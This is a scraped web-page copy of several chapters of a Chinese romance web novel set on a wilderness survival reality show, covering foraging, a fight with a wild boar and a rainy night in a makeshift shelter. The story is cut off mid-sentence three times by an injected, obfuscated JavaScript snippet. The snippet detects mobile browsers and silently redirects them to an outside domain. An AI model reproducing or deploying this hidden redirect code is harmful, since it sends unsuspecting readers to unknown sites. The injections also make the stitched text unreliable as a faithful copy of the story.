在旁边捡了根较长的树枝,秦璟沅朝着缀满果实的枝桠挥去,一颗颗黄澄澄的柑橘滚落到草地上。 带着那只野兔和橘子,他回到了原来的那片秋茄林。在他之前,南砚和苏弘嘉两人已经回来,正蹲在地上整理物资。 除了生火必备的枝叶和木材,还有一些红色的浆果与野苋菜。 “秦哥,我在东边找到了一个山洞。” 见秦璟沅回来,南砚立刻站起身,带着手中那枚饱满的浆果跑了过来。他一边说,一边将果子在衣服上擦了擦,献殷勤似的递给秦璟沅。 看见男人右手提着的野兔,他兴奋得眼睛都亮了: “哇,秦哥你好厉害啊,我还以为今天得吃素了呢!” 其实,那个山洞是苏弘嘉找到的。 被南砚抢了功劳,他也没有吭声,只是沉默地打量着秦璟沅,见他身上没什么明显的伤口,就转头继续整理刚才找到的东西。 拒绝了南砚的浆果,秦璟沅走到苏弘嘉身旁,将匕首递给他,低声道: “谢了。” 言罢,他还随手抛了一枚橘子过去。 苏弘嘉蹲在地上,抬手就接住了。顺着身旁那双修长的腿望上去,他发现对方那双狭长的琥珀色眼睛,正漫不经心地盯着自己的脸瞧。 条件反射地低头遮挡,苏弘嘉不自觉用手指摩挲着果实光滑的表皮,嘴里却硬邦邦地吐了两个字: “不用。” 无言的寂静突然将他吞噬,苏弘嘉的心沉了下去。 明明上这个节目,就是想要重新开始的。 可他每次想起脸上的疤痕,自卑就像是一只贪婪的猛兽,疯狂蚕食着他所有的渴望与勇气。 苏弘嘉不是正常退伍的,而是身上的伤,已经不允许他继续穿着那身迷彩作战服了。 可他这还是最好的结局。而他的队员们,则永远埋在了那片黄土坡上,连完整的尸/体都找不回来。 是他的错。 现在,他竟然妄图埋葬过去,获得新生。或许,自己根本没有任何资格吧。 “山洞在哪儿?” 过了片刻,空气中传来男人低沉的嗓音,混合着柑橘清爽的芬芳,将苏弘嘉的思绪从灰暗的记忆里拉了出来。他忍不住再次抬起了头。 他是又回到了那个人的身边吗? 结果,苏弘嘉再次对上了那双淡漠的眼。 男人竟然是在问他。 从始至终,对方的眼睛都在注视着他。这个想法,让苏弘嘉的心脏倏然加速地跳动起来,攥着的那枚柑橘,似乎快要灼伤掌心的茧。 他的余光里,秦璟沅身后的长发男人,表情变得有些难看。手里的浆果被挤压着,淌出紫红色的汁水,顺着白皙的手指“滴滴嗒嗒”地落在地上,渗进土里。 站起身,苏弘嘉将所有的东西用挎包装好,没有再看一眼南砚的表情,默默地开始带路。 那颗柑橘则被他小心地捧着,仿佛是颗易碎的橙色宝石。 继续提着那只兔子,秦璟沅不动声色地瞥了眼跟在自己身旁的南砚。对方正慢悠悠地用白T的衣摆,擦着自己沾满浆果汁的手,脸庞被树影挡住,表情看不分明。 在分头行动前,秦璟沅清楚地记得南砚去的方向,是西边。而东边则是苏弘嘉负责的。 所以他一听就知道这山洞,到底是谁找到的。不过,南砚到底有什么必要撒谎呢?对于这人莫名其妙的殷勤,秦璟沅表示很不理解。 如果说他是担心自己被撇下,那绝对是多想了。秦璟沅一般不会主动嫌弃别人没用,只要不妨碍他,随便当个花瓶都可以。 而另外一个苏弘嘉,则是半天打不出一个响儿来,任由南砚抢功劳。现在看来,这个队伍里貌似没有特别正常的人。 算了,这俩人一个愿打,一个愿挨。下一次,秦璟沅不打算再多管。 跟着苏弘嘉来到那个山洞前,拂开挡在洞前的藤蔓与枝叶,三人不约而同地陷入了沉默。 南砚弯腰走进去,伸出手臂比划了一下,面色奇怪地说: “除去火堆的位置,应该勉强能避雨。” 如果他们挤一挤的话。 当时苏弘嘉只是远远看到了这个山洞,就带着手上的物资回了集合点,没有靠近细看。 没想到这个洞会如此狭窄,倒是不用担心会是猛兽的巢穴了。 这个时候,天色已经昏暗了下来。铅灰色的浓云,严严实实地遮住了原本的烈日。风在枝叶间流窜,空气也开始变得潮湿起来。 “算了,明天再换地方。” 抛下这句话,秦璟沅率先俯身进了山洞。等到南砚与苏弘嘉合作将火堆生起后,外面恰好传来了雨水与树叶碰撞的“噼啪”声。 转眼间,雨幕如注,几乎都溅到了秦璟沅的眼镜上。见到这一幕,坐在他身旁的苏弘嘉,微不可察地挪动身体,替他遮住了大片的风雨。 因为有处理野物的经验,他一言不发地接过了秦璟沅手中的兔子,并顺势坐到他的侧边,导致南砚只好坐到对面。 此时,狭小逼仄的山洞里,他们两人的大腿正紧紧贴在一起。随着苏弘嘉使用匕首的动作,他们的手臂也在不断地摩擦。 因为穿的是短袖,男人黑色衬衫的布料,便贴着苏弘嘉裸露的臂膀。冰凉的触感顺着他的皮肉,直直地蹿进他的心里,燃起了一小片灼热。 握着匕首的手,颤了颤。 然而,秦璟沅神态自若,仿若未觉。他抬手摘下眼镜,用口袋里的手帕缓慢地擦拭镜片。 在火光的映照下,男人浑身披上了一层柔和的橘色薄纱。没了眼镜的遮挡,原本冷峻的眉眼,似乎也被火堆的温度融化了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338964|167819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纤长的睫羽半垂着,光影明灭间,竟无端变得有些温柔。令人忍不住想要靠近,却又徒生怯意。 这一抹不期然的景色,恰好落入了两人的眼中。与此同时,还有隐隐的肉焦味。 “发什么呆?” 夺过苏弘嘉手中串着兔肉的细枝,秦璟沅有些无语。他只是一时没看住,怎么唯一的荤菜都要烤焦了? 固定着一个地方烤,都不带动一下,搞得其他地方的肉,还是生的。 唉,真是不靠谱。 手指被碰到了。 苏弘嘉板着一张脸,朝着火堆里丢了几把草屑。 男人烤肉的动作看起来很熟练,还从挎包里掏出了几串野胡椒。这是秦璟沅在回来的路上,偶然发现的。 “秦哥,你很擅长做这些吗?” 自从先前被秦璟沅无声地拆穿谎言,南砚一直就没敢再主动搭话。闻到喷香的肉味,他终于忍不住了,小心地试探着问道。 “算是。” 毕竟他从初三起,就是一个人生活。为了省钱,秦璟沅每天会提早一个小时起床,在上学前去菜场和大妈们一起买菜,然后自己做饭。 见秦璟沅回应了自己,南砚又恢复了元气,眼睛亮亮地盯着他,继续发起话题: “那秦哥你是做什么工作的呢?” “每天帮忙划分夫妻财产。” 就他最近的委托类型,基本是如此。 而听到秦璟沅回答的南砚,一时有点没反应过来,懵懵地重复道: “划分,夫妻财产?” “噗哈哈哈,原来是律师啊!” 没想到秦哥还有些冷幽默在身上,南砚笑弯了眼,脸颊露出一个甜甜的酒窝。两人有一搭没一搭地聊着,当然,全靠南砚主动。 而苏弘嘉默默地又往火堆里扔了把草,火突然变得超级旺,外焰差点烧到对面的南砚。 还在甜笑的南砚:?可恶的石头男,故意的吧。 兔肉正好烤完了,秦璟沅看了眼带血的匕首,打算直接上手撕。结果,树枝被苏弘嘉拿了回去。 他手上的皮厚,还很糙,根本不怕烫。而秦律师五指修长,皮肤看起来很薄,指尖还隐约透着淡淡的粉色。 是双需要保护的手。 在苏弘嘉的眼里,秦璟沅整个人都像是带上了柔光特效,无一处不完美。然而,经常给自己做饭的秦律师,手上的皮肤根本细腻不到哪里去。 甚至还有一些陈年刀痕,只是浅得看不太清。没有人,是一开始就会下厨的。 将之前烤焦的那块肉撕给自己,苏弘嘉特意留了里脊和腿部的肉,用洗干净的树叶裹着,递给秦璟沅。 然后,南砚分到了一个兔屁/股。 发现苏弘嘉的做法,秦璟沅有些忍俊不禁,唇角轻扬,露出一丝笑意。啧,这大块头看起来默不作声,原来还是个记仇的主啊。 他这一笑,如春风拂过寒潭,泛起阵阵涟漪。连南砚都瞬间忘记了生气,眨巴着眼睛,低头乖巧地啃着兔屁/股肉。 因为秦律师好像挺开心。 这下子,倒直接把苏弘嘉笑得偏过了头,麦色的皮肤有些泛红。三人之间的距离,也在无形间拉近了。 “好吃吗?” 慢条斯理地吃着手中的兔肉,秦璟沅挑眉朝对面的南砚问道。兔屁/股还吃得这么香?整得满脸是油。 “唔,好好,好好次!” 南砚向来嘴挑,本以为兔屁/股的肉会很油腻,可入口后,外层的脂肪瞬间在舌尖化开。紧接着便是紧致的瘦肉,极富嚼劲,掺着胡椒的麻,别有一番风味。 秦律师的手艺绝了! 当初,吃到秦璟沅做的饭后,老板娘便再也没献过丑了,每天来他家蹭饭,带伙食费的那种。 身旁的苏弘嘉虽没被问,但仍小声地夸了句: “好吃,很厉害。” 对于他们的夸赞,秦璟沅欣然接受,表情也柔和了些。 在几人和谐干饭时,另一边的韩睿霖只觉得有时候,人倒霉起来连喝凉水都塞牙缝。 狂风呼啸,暴雨激起地上泥浪。 第n次绕过面前的树,韩睿霖眯着眼,勉强在黑夜中辨别着障碍。幸亏他夜视能力还不错,不然早就一头撞树上了。 一边跑,他一边扭头看了眼。 那头凶神恶煞的野猪,还在他身后横冲直撞。直接无视一切地形,像是一辆巨型坦克,死命地追着他不放。 该死啊啊啊——至于吗,不就是吃了它的崽子吗?都不停歇地追了他半个小时了。 现在,他根本不知道自己跑到了哪里。 雨水被风裹挟着,打在韩睿霖的眼球上,刺得他不自觉闭上眼。在这种恶劣的情况下,他好几次是靠着走位,才避开了野猪冲撞。 可韩睿霖的体力在这一追逐的过程中,也快要耗尽。可恶,要是有趁手的武器,老子早干掉它了。 心里恶狠狠地想着,他的脚下却一滑,一个踉跄就要倒地。 完了,难道他就要被一头猪踩死了吗? 他才二十二啊! 6. 谁的守护神 如注的雨水,倾盆而下。 那头耀眼的银发早已被水打湿,一缕缕地贴在韩睿霖分明的轮廓上。脚底踩到的那滩泥泞,让他瞬间失去平衡。 短短一刹那,韩睿霖好像想了很多,又好像没有,只是眼前突然出现了那张清俊的脸。 有些后悔,还没跟对方说过几次话呢。 在他因为惊慌而瞳孔震缩时,一只修长结实的手臂猛地探出,环抱住了他,双腿悬空。 那股力量在稳住韩睿霖身形的同时,带着他朝前跑去。湿透的背心黏在身上,隔着一层薄薄的布料,温热宽大的手掌紧紧地贴住了他的小腹。 这一刻,韩睿霖清晰地感受到自己的心跳,漏了一拍。 惊惶间转头,他猝不及防跌进了一双金色的眼眸,宛如融化的旭日,穿透层层雨幕,流淌着摄人心魄的光晕。 大脑瞬间放空,韩睿霖整个人仿佛被一个巨大的透明气泡罩住了,连淅沥的雨声都听不分明。 “下来,看路。” 男人醇厚的嗓音被风雨切割成碎片,夹杂着奔跑时规律的喘息声,扎破气泡后敲击着韩睿霖的耳畔。 见怀中的人仍然呆呆地盯着他,机械地迈着步子,秦璟沅轻蹙眉心,用力捏了捏手底下的肌肉。 “嘶——知道了知道了!” 脱离男人温暖的怀抱,韩睿霖的皮肤再次传来雨水冰凉的触感。怎么回事,刚刚还没觉得有这么冷呢! “我引开它,你跟在后面,拿着这个。” 两人在雨里又跑了一段路,秦璟沅突然出声,同时将那把军用匕首塞进了韩睿霖的手里。 “咳咳,不行,太危险了,我来...” 一听到秦璟沅主动要当诱饵,韩睿霖想也没想,果断就要拒绝,却立刻被打断了: “别废话,我看不清。” 这时,他才发现对方没有戴那副银色的眼镜,雨水直直地打在男人的脸上。 在出来前,秦璟沅就将眼镜塞进了挎包里,避免到时候被雨水糊了镜片,遮挡视野。幸亏他的度数不算太深,路还能看清。 没有再多说,韩睿霖紧紧握住那把匕首。在他的视线中,秦璟沅掏出口袋里的一枚石头,便转头眯起眼睛,朝着那只野猪用力砸去。 不偏不倚,恰好砸在了它的鼻子上。 野猪吃痛地发出一声凄惨的嚎叫,脚步踉跄,鼻孔周围的肉抽搐着淌下鲜血。 短暂停滞的间隙,秦璟沅毫不犹豫地转身,向着另一边奔去。而野猪也很快反应过来,怒吼着朝他追去,尖锐的獠牙闪着银光。 途中,他勉强在雨夜里观察着周围的地形,利用那一团团略显模糊的黑色障碍物,干扰着野兽的追击。 跟在后面的韩睿霖心焦不已,他发现有好几次,那獠牙擦过了对方被风刮得鼓起的衬衫。黑色的布料被撕开了几道口子,露出男人白皙的脊背。 心脏高悬在喉管里,他咬了咬牙,决定速战速决。瞅准时机,韩睿霖加快步伐从侧面蹿了过去,企图用匕首扎向野猪的脖颈。 可猛兽的速度极快,敏锐甩头避开了他的刀尖,锋利的獠牙擦着韩睿霖的小臂划过,拓下了一道深深的血痕。 啊啊啊啊! 痛呼被他压在舌底,喉结上下滑动,强行地吞了下去。只是他的手臂,疼得几乎快要握不住匕首。 从小生活在京市的韩睿霖,还从未有过对战巨型野兽的实际经历。当真正面对时,才发现家养的人类与这种生活在野外的庞然大物之间,力量的悬殊是如此之大。 然而,见到这一幕,秦璟沅停下了脚步。在野猪准备转向韩睿霖发难时,快速地扑了上去,用手臂死死地勒住它的脖子。 雨水顺着暴起的青色脉络,蜿蜒着落到土里。 不顾手臂的伤口,韩睿霖再次冲上前。野猪在挣脱背上的人时抬起了前腿,他看准底下露出的腹部,用尽全身力气将匕首刺了进去。 “嗷嗷——” 一时间,两人一猪在泥浆中翻滚。 雨水、鲜血和泥水混在一块儿,随着野兽的痛苦挣扎到处四溅。 韩睿霖拼命地握住匕首,发觉对方朝后猛冲,似乎想要用撞树的方法来掀翻背上的男人。他急得眼眶发红,空出的左手五指握拳,朝着野猪的下颚直直挥去。 空气中传来了骨裂的声音。 在野猪因为脑部震荡,浑身僵直着眩晕时,韩睿霖一不做二不休,向下划动匕首,刀锋撕开了野兽的腹部。他直接将手探了进去,扯出乱七八糟的脏器,丢到地上。 终于,在一阵剧烈的抽搐后,野猪的动作渐渐迟缓。秦璟沅敏捷地跳下猪身,下一秒,庞然大物便轰然倒地。 两个男人瘫坐在地,浓稠的夜色里,只剩下接连不断的喘息声,与雨水交织环绕。 靠在树干上,秦璟沅低头看了眼自己的手腕,上面被钢针般的猪毛划出了细细密密的伤痕。 就在这时,一颗毛绒绒的银色脑袋凑到他的面前。韩睿霖伸手托住他的腕骨,蜜色的皮肤上沾满了血渍和泥浆混合的不明液体。 对方似乎也注意到了这点,慌张地收回手,在裤子上蹭了好几下,又在雨里洗了洗。直将上面的污泥弄了个干净,才重新捧住秦璟沅的手背。 脱掉皮质的机车夹克,韩睿霖将它罩在了两人头顶。随后,他从背上解下来一个自制的包裹。 是用巨型的芭蕉叶和极细的藤蔓编成的,一直被他绑在背上,用防水的外套盖着。 现在,他从里面掏出了几棵草药,塞到嘴里嚼了嚼,吐到手心就想要敷到秦璟沅的伤口上。 只是很快,韩睿霖便僵住了动作。他抬头看了眼面前的人,又偏移视线,盯着远处的一棵树苗瞧。 “那个,介意吗?” 声音沙哑,被砂纸磨过似的毛糙。 指的是草药的碎渣上沾了他的口水。 仰头闭上眼睛,秦璟沅的嗓子也干得像是刀割。他重重咳了声,艰难地吐出几个字: “没那么,矫情。” 忍不住扬起唇角,韩睿霖继续着手下的动作,嘴里低声喃喃: “也对,哥你怎么可能矫情...” 雨势依然未减,“哗哗”地落下,震得秦璟沅耳鸣,也就没听见对方的这句称呼。 低头用牙叼住背心的下摆,韩睿霖撕下来一长条布料,拇指压着那层草药,小心地裹着秦璟沅的两只手腕。 银色的发垂在男人的额前,湿漉漉地滴着水。可他的神色却极为专注,脸颊上还有许多奔跑时被树枝抽出的红痕。 看不出来,这小子还挺细心,倒是个会报恩的。 秦璟沅随意地想着,抬起下巴,隔空点了点那只还在淌血的小臂。野猪獠牙的尖端无比锋利,让韩睿霖伤口顶端的皮肉都翻开了。 “伸出手。” 乖巧地伸出右臂,韩睿霖掀起眼皮,按捺住内心的小雀跃,悄悄地打量起对方低垂的睫羽。上面沾了许多细碎的雨珠,像是消磁的水晶。 “张嘴。” 闻言,他张开嘴巴,就被人塞了一把草药进来。 “嚼。” 快速地嚼碎齿间苦涩的草茎,韩睿霖低头吐到自己的手心,无比随意地敷到他的伤口上。 他对自己向来粗糙,这点小伤,根本不疼,也就还凑合... “嗷疼疼疼——” 冷着脸,秦璟沅松开手,指尖灵活地翻转,打了个漂亮的蝴蝶结。当然,布料还是从韩睿霖自个儿的身上撕下来的。 潮男小韩,继破洞流苏牛仔裤后,再次获得了一件崭新的时尚单品——流苏黑色背心。 可以随时随地,炫耀八块腹肌的那种。 等到两人都处理完伤口,周围只剩下毫不停歇的穿林打叶声,以及韩睿霖疯狂轰鸣的心跳声。 只有他自己听见了。 想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338965|167819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起什么,他从背上又拿了个东西下来,递到秦璟沅的面前。 是一颗椰子。 表皮还有奇怪的凹痕,似乎是被外力撞击过,看起来丑丑的。 “你这背上是有什么空间?” 歪头看了眼,秦璟沅有些好奇。 “嘿,我这就是哆啦A梦的口袋!” 见男人感兴趣,韩睿霖骄傲地用手刮了刮自己的鼻子,从身后又掏出一大堆东西。 里面还有一根树叶包着的烤猪腿。 没错,就是这次人猪大战的导火线,属于那只不幸离世的小野猪崽。这下子,父子终于团聚了,还恰巧都是死在韩睿霖的手下。 “哆啦A梦是谁?” 虽然韩睿霖有心逗趣一把,奈何秦律师从小到大就没看过动画片,工作后上网也只浏览国际新闻,基本不怎么冲浪,是个妥妥的2G大龄男青年。 除了上学读书,就是打工赚钱。 听到秦璟沅的问题,韩睿霖僵硬地转了转眼珠,绞尽脑汁地想着,到底该如何挽回这尴尬的局面。 好不容易打开的话题。 “就是,就是,额,就是身后永远的守护神!” 韩睿霖一鼓作气,语速极快地说完后面那句话,才反应过来自己到底说了什么。 被头发遮着的后脖颈,一瞬间烧得红透了,他慌乱地想要找补: “啊,你别多想,我...我是说,你你...” “嗯?我没多想。” 轻挑眉梢,秦璟沅见白发男人有些语无伦次,便好心地出言打断。他的思维和韩睿霖压根不在一个频道上。 在他看来,大概是这小子在吹嘘自己有多么厉害,像神一样,有点中二病。 嗯,这个词是这么说的吗? 将秦璟沅平静的表情收入眼底,韩睿霖莫名觉得有些失落。额发软软地耷拉下来,雨水滴进了他的眼里。 “嗯...那就好。” 反正,他只是有点感动对方的及时出现罢了,确实没什么其他心思在。 韩睿霖这样告诉自己。 余光扫到男人湿透的黑色衬衫,他又将那些复杂思绪抛到脑后,拧着眉心开口: “你这湿衣服穿一晚上,肯定会感冒!” 闻言,秦璟沅目光奇怪地盯着韩睿霖还在滴水的背心,似乎在用眼神反问: 你不也湿着,还说我? “我身体好,从来不生病。” Get到他的眼神的意味,韩睿霖拍了拍自己结实的肱二头肌,又暗戳戳炫耀了一波。 秦璟沅:……他身体也挺好的。 “雨这么大,干了也会湿。” 将手探到外面,秦璟沅抬头看了眼不见停歇的雨。两个大男人挤挤挨挨地躲在那件机车外套下面,空间少的可怜。 而韩睿霖将自己带着的那只百宝袋放到怀里后,大半个背几乎都露在外头,被风雨无情地抽打着。 往外挪了点,秦璟沅离韩睿霖的肩膀远了一些。这家伙的体温也太高了,紧紧地挤着他的身体,简直快要把他的衣服给原地烘干。 真的没发烧吗? 天生体热似火球的韩睿霖,完全没注意到秦璟沅的动作。他正一脸严肃地思考着,眼睛飞速地打量起周围的环境。 确实,不可能让人淋一晚上的雨,这样也睡不好觉。况且,对方手上还有伤口在呢! 既然秦璟沅没有见死不救,为他抛弃了原本舒适干燥的落脚点,那么韩睿霖认为,自己也必须要做出弥补。 “你在这儿呆着。” 转身将外套严实地盖在秦璟沅的头上,韩睿霖丢下这句话就站起身,大步跑进了雨里。 靠坐在树旁,秦璟沅抱着百宝袋,沉默地望着那道高大的身影,转瞬间消失在黑暗中。 心头有些复杂。 这还是他第一次,什么都不用管呢。 不太习惯。 7. 单独相处的雨夜 往外跑了一小段,韩睿霖找到了两棵挨得比较近的树。他解下缠在腰上的藤蔓,以及一大把芭蕉叶,开始原地搭建遮雨棚。 用藤蔓在两树之间来回绕圈,韩睿霖打了个结实的结,形成一个简易的支架。接着,他将芭蕉叶层层叠叠地铺在上面,用藤蔓上细小的枝条固定住叶片边缘,尽可能地相互交错着,以免漏雨。 他的动作十分利落,在极短的时间内,就完成了一个全新的遮雨处。 满意地欣赏片刻,韩睿霖打算原路返回,去找秦璟沅。刚一转头,就见那人不知何时跟了过来,正靠在树旁静静地瞧着他。 头上披着那件机车服,手里则带着韩睿霖留下的包裹。 “你怎么来了?” 大步跑过去,韩睿霖伸出没有受伤的手臂,替秦璟沅撑着外套,同时虚虚地揽住他的肩膀,带人坐到雨棚底下。 雨水被完美地隔在外面,秦璟沅有些惊讶地打量着: “你挺会这些的,经常做?” 从草丛里搬来一块石板,韩睿霖用树叶粗略地擦去上面沾到的水渍,才将干草放上去。他一边继续手下的生火工作,一边回答着秦璟沅的问题: “国外的车友都是露营爱好者,他们带着我玩儿过很多地方。这些事嘛,做的多就自然熟练了。” 将细树枝搭在干草上,韩睿霖逐渐加入了更粗的树枝,形成一个完美的圆锥体。 “这是井字堆法?” 看了眼韩睿霖的动作,秦璟沅用指尖漫不经心地敲着手里的那颗椰子。 什么都不用做,竟然让他有了无所事事的感觉。但是,秦璟沅的心情却渐渐放松下来,便随意地捡着话说。 “我不知道叫啥,看起来应该是吧?” 韩睿霖很喜欢极限运动,会的东西也很多,只是大部分都不太清楚其中的理论知识。 他的原则是:行动的重要性必须远远大于言论。 不管是在哪个方面。 搭完火堆,韩睿霖从口袋里掏出了一个银色的打火机,用拇指翘开盖子,“咔哒”一声,火点燃了。 盯着那个打火机,秦璟沅目光闪了闪,便了然地垂下眼,掏出自己衬衫口袋里的手帕,擦拭着脸上的泥水。 “你怎么不继续问我是哪儿来的呢?” 等了半天,韩睿霖也没等到男人的询问,佯装不在意地抛了抛那块方形的金属火机。 他还挺喜欢秦璟沅对自己的好奇。好奇,才有故事。这大概是兄弟之间,拉近距离的第一步? 不对,他们其实已经是患难兄弟了吧! “我知道,” 即使对方表现得很想解释,嘴皮子上下抽筋似的碰了好几下,秦璟沅依旧没让他如愿,晃了晃手里的帕子, “除了主动上交的手机和手表,节目组根本没搜身。” 所以,这打火机原来就藏在韩睿霖的口袋里呢,像他的手帕一样。 “没错啊,多亏我留了一手,这不是就让咱俩烤上火了!” 得意地挑眉,韩睿霖眉上排列的两颗银色钉子,也随之上下移动着。他发现秦璟沅的目光还落在自己的打火机上,不知缘由地说了句: “我不抽烟,这是用来点生日蜡烛的。” 韩睿霖觉得对方可能会和他爸一样,唠叨自己抽烟伤身。他健康着呢,才不抽烟。 秦璟沅:他没问。 点个生日蜡烛,还随身携带打火机,确定不是什么别的东西吗? “嗯,我朋友比较多,给他们点的。” 除了向哲言父子与林月,秦璟沅基本没什么算的上朋友的。他只觉得这小子又在炫耀了。 随口应声,秦璟沅就想闭目休息,却又被人扯住了胳膊。他半睁开眼,就见韩睿霖面色不安,语气小心: “你,你是不舒服了吗?” “没有。” 秦律师只是生物钟到了,平常这个时间点他早已入睡。而韩睿霖还精神奕奕地瞪着那对漆黑的桃花眼,企图找到他不舒服的证据。 暖色的火光将他蜜色的脸庞,涂上了一层厚厚的蜡。 眼睛里,是遮不住的担心。 “你把衣服脱下来,我给你烤干,别湿着睡。” 还没说完,韩睿霖已经开始动手解秦璟沅衬衫领口的纽扣了。 “等...” 没来得及拒绝,秦璟沅就这样眼睁睁地看着,面前的男人以肉眼无法察觉的速度,脱掉了他的上衣。 这是在哪儿练过吗? 黑色的衬衣顺着秦璟沅的臂膀,落到铺了厚厚树叶的草地上。 黑夜里,他的皮肤仍泛着象牙白的光晕。沿着起伏的肌肉线条,光与影相互映衬,构成了一幅昳丽的油画。 只是这幅画,并不完美。 在秦璟沅的皮肤上,有无数道淡淡的痕迹交错纵横着,似是一盏精美白瓷上落的裂痕。 那伤痕比他的皮肤还要白一个度,是痊愈后长出来的新皮。 在分明的锁骨旁,有一个圆形的深红印记,上面的皮肤格外粗糙,如同枝头的一颗杨梅果实,咬开却带来酸涩的汁水,让人眼眶刺疼。 用手挤干衬衫布料里的水,秦璟沅面色如常。靠近火堆烘衣服的时候,他侧头看了眼从刚才开始,就一声不吭的韩睿霖。 结果,他发现对方已经快速将自己的裤脚,挽到了大腿,露出底下细碎的伤痕。 他眨眨眼,没有说话。 “我也有很多。一开始觉得好丑,后来想想,其实也挺不赖的,就像勋章一样。” 这些伤疤,都是他练赛车时留下的。 韩睿霖抬起头,认真地盯着秦璟沅的眼睛,难得放柔了声音: “你的,也很好看。” 两人沉默地对视着,潮湿的雨气缓慢流动。 “幼稚。” 收回目光,秦璟沅不紧不慢地将衬衫的内侧翻出来,在火堆上匀速移动。这种小孩子话,哄哄别人还行,对他可没用。 毕竟他的才不是什么勋章,是深刻的教训。 每天洗澡时,秦璟沅在镜子里看见身上的这些疤痕,就会反复提醒自己:可不要再轻易地去相信了。眼睛,瞎一次就够了。 锁骨旁的圆形伤痕,是被养父用烟头反复烫的。当时,对方也恰好有一枚银色的打火机。前些年,秦璟沅只要听到熟悉的金属翻盖声,就会想起一些不美妙的记忆。 不过,他现在倒是没什么感觉了。毕竟罪魁祸首在出狱后,就消失无踪,两人也早就断了联系。 秦璟沅口中的“幼稚”二字,让韩睿霖有些不服气地撇撇嘴。他低头大咧咧地脱掉自己的背心,用力拧干后挂到了一根树枝上。 “拜托,你也没比我大多少吧?我都22了...” “是吗?确实,也就6岁吧。” 火堆发出了“噼啪”声。 “什么!??喂,你开玩笑的吧!” 僵硬地转过脑袋,韩睿霖上下打量着男人清俊的外表,心头无比震惊。 这岂不是意味着,在他上小学六年级的时候,秦璟沅就已经是准备高考的高三生了? 可对方不仅脸完全看不出来,身上的皮肤也比他细腻得多,仿佛是抹上了月色磨成的珠粉,镀了一层皎洁无瑕的光。 “没礼貌的小鬼,叫哥。” 听到那个“喂”字,秦璟沅微微眯起眼,单手将那颗椰子扔了过去,正正好砸在韩睿霖背部因为俯身而凸出的肩胛骨上,疼得他小声嘶气。 第三次受到同一颗椰子的攻击,很少受委屈的韩车手脾气上来,转身就想发飙。可一对上那双眼睛,又莫名泄了气。 “嘁,才不叫。” 虽然韩睿霖之前还真就这么叫过,可现在,他不想叫,总觉得叫了就落实了秦璟沅之前说他的“幼稚”。 明明他可是难得绞尽脑汁安慰人啊! 但是,秦璟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338966|167819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沅毕竟救过自己,韩睿霖不能像对待别人一样,朝他生气。他只好拿出一枚尖尖的石头,对准椰子上面的软眼,戳出一道口子。 “秦...璟沅,你要不要喝?” 一旁的秦璟沅在短短几秒里,就见证了那人从被椰子砸后,气得头毛竖起,转身张口几欲开炮,又突然无力地蔫蔫反驳了句,到现在把椰子冷酷开瓢后递给自己的全过程。 表情生动无比,光是看着,秦律师就能完全猜到他的心理活动。 正好秦璟沅几人今天没找到水源,一整天都还未喝过水。刚才又做了剧烈运动,嗓子干得有些冒烟,他便没有拒绝。 “谢了。” 手头没吸管,秦璟沅便直接对着那个小口,朝嘴里倒去。淡淡的甜味从舌尖散开,润泽了喉管。 “你也想喝?” 中途,他突然停了下来,朝着韩睿霖反问。因为对方在他喝的时候,一直目不转睛地盯着这边。 椰子只有一个,他大概也是渴了? 慌张地偏过脑袋,韩睿霖不自然地用掌心抓在自己的后脖颈上,喉结滚动,欲盖弥彰地否认:“不,没有,你...” 不过,没等他说完,手里很快被塞了那个椰子,是秦璟沅喝了一半的。 这小子说话太结巴了,秦律师没耐心等。 “没碰到。” 见韩睿霖犹豫地捧着椰子半天不吭声,秦璟沅觉得对方或许是有些嫌弃,便随口补充了句。 不仅结巴,还矫情。 而韩睿霖听到他的话,忍不住心头腹诽:既然没碰到有什么好喝的...不对,自己在想什么?? 慢吞吞地干掉剩余的椰子汁,韩睿霖甩掉脑子里乱七八糟的想法,转头就发现秦璟沅已经靠着树干睡着了。 半干的黑发垂在额前,长睫在眼睑投下一轮新月似的阴影弧度。高挺的鼻梁下,形状优美的淡色唇瓣微微张着,若有似无的气息拂过韩睿霖的脸颊。 不知不觉,他已经蹲在男人身旁,专注地看了许久了。 对方的颊侧,还有许多没有擦掉的泥斑,星星点点地分布着。而原本整洁笔挺的黑色衬衫,没条件熨平整,正皱皱巴巴地裹着他的身体。 然而,男人那份初次见面,便深深吸引着韩睿霖的气质,却并未因这身狼狈而减损丝毫,反而更添了几分随性与洒脱,让他几乎移不开眼。 该死啊啊啊,早知道不吃那个猪崽子了。可是,如果不吃,自己不就遇不到他了?也就没了这个夜晚。 好心烦。 